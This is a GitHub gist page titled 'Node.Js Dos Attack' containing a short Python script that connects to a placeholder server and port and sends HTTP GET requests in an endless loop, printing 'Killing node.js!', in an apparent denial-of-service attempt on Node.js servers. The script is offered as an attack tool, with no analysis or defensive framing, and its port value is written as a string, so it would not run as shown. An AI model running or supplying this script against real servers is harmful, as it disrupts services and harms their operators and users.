Skip to content

Instantly share code, notes, and snippets.

@okossuth
Created October 28, 2013 15:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save okossuth/7198753 to your computer and use it in GitHub Desktop.
Save okossuth/7198753 to your computer and use it in GitHub Desktop.
Node.Js Dos Attack
#!/usr/bin/python
import socket
HOST = 'server to attack'
PORT = 'port where nodejs is listening'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
while 1:
print "Killing node.js!"
s.sendall('GET / HTTP/1.1\r\n\r\n')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment